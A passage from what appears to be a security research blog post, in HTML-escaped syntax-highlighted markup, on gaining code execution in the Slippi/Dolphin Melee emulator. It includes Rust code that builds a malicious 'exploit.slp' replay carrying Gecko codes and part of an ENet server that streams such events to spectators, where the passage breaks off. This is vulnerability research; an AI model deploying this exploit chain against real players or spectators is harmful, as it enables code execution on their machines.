&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;    GeckoCodes&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; bytes&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; actual_size&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;fn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; BufReader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span&gt;(File&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;..&#x2F;base.slp&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; game&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; slippi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; r&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; None&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    game&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;slippi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;version &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; slippi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;MAX_SUPPORTED_VERSION;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    game&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;gecko_codes &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Some&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;convert_codes&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    slippi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; File&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;create&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;..&#x2F;exploit.slp&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;(),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;game&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Finally, we have arbitrary guest code execution from a replay!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span&gt;&lt;video src=&quot;&#x2F;img&#x2F;slippirce&#x2F;replayace.mp4&quot; style=&quot;width: 100%&quot; controls&gt;&lt;&#x2F;video&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;...Okay, arbitrary code execution from a replay you have to convince someone to download and watch is a bit boring. I said there would be &lt;em&gt;remote&lt;&#x2F;em&gt; code execution, right?&lt;&#x2F;p&gt;
&lt;h1 id=&quot;spectator-mode&quot;&gt;Spectator Mode&lt;a class=&quot;zola-anchor&quot; href=&quot;#spectator-mode&quot; aria-label=&quot;Anchor link for: spectator-mode&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;&#x2F;i&gt;&lt;&#x2F;a&gt; 
&lt;&#x2F;h1&gt;
&lt;p&gt;In addition to letting people play online matches in a way that isn&#x27;t awful, Slippi also lets people &lt;em&gt;watch&lt;&#x2F;em&gt; online matches in a way that isn&#x27;t awful.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;spectate.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Instead of requiring one of the players to screenshare on Discord to make their game watchable, Slippi&#x27;s spectator mode sends just enough game state and input data to mirror the match onto another instance of Dolphin. This looks a lot better than a video stream while also using far less bandwidth, which is very much appreciated in a game that requires a half-decent internet connection. This is also commonly used by streamers running online tournaments for streaming and commentating matches, so an emulator escape that could be triggered purely from being a spectator would still be huge.&lt;&#x2F;p&gt;
&lt;p&gt;When starting a broadcast session, Slippi Launcher connects to an &lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;enet.bespin.org&#x2F;&quot;&gt;ENet&lt;&#x2F;a&gt; server hosted by the Dolphin instance. Upon connecting, Dolphin starts sending the launcher a filtered selection of replay events, which the launcher then relays to a WebSocket hosted on Slippi&#x27;s servers. On the receiving end, the launcher gets the replay events from the Slippi servers and streams them into a newly created &lt;code&gt;.slp&lt;&#x2F;code&gt; file, which the receiving Dolphin instance continuously tries to read events from.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;spectategraph.svg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So, in practice, spectator mode is basically just like reading any other replay file, but the events are being streamed instead. Since Gecko code events can also be sent to spectators, this means that arbitrary code can be executed inside the emulator in the same exact way, but it just has to be streamed to the server instead. Sounds easy enough.&lt;&#x2F;p&gt;
&lt;p&gt;To do this, I wrote a quick-and-dirty program that hosts its own ENet server and feeds Slippi Launcher replay events from a file instead.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    collections&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;HashMap&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    fs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;File&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;BufReader&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Cursor&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Read&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Seek&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; SeekFrom&lt;&#x2F;span&gt;&lt;span&gt;},&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    net&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;SocketAddr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; UdpSocket&lt;&#x2F;span&gt;&lt;span&gt;},&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;FromStr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Duration&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt; base64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Engine&lt;&#x2F;span&gt;&lt;span&gt;, prelude&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;BASE64_STANDARD&lt;&#x2F;span&gt;&lt;span&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt; byteorder&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;ReadBytesExt&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt; rusty_enet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Event&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Host&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; HostSettings&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Packet&lt;&#x2F;span&gt;&lt;span&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt; serde&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Deserialize&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Serialize&lt;&#x2F;span&gt;&lt;span&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;#[derive(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Deserialize&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;#[serde(tag &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;quot;type&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;enum&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; MirrorRequest&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    #[serde(rename &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;quot;connect_request&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;    ConnectRequest&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span&gt; },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;#[derive(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Serialize&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;#[serde(tag &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;quot;type&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;enum&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; MirrorResponse&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    #[serde(rename &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;quot;connect_reply&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;    ConnectReply&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        nick&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;: &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;a str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        version&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;: &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;a str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    #[serde(rename &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;quot;start_game&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;    StartGame&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; next_cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span&gt; },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    #[serde(rename &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;quot;game_event&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;    GameEvent&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;: &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;a str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        next_cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;fn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; socket&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; UdpSocket&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;bind&lt;&#x2F;span&gt;&lt;span&gt;(SocketAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;from_str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;0.0.0.0:51441&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        socket&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;        HostSettings&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;            peer_limit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;            channel_limit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
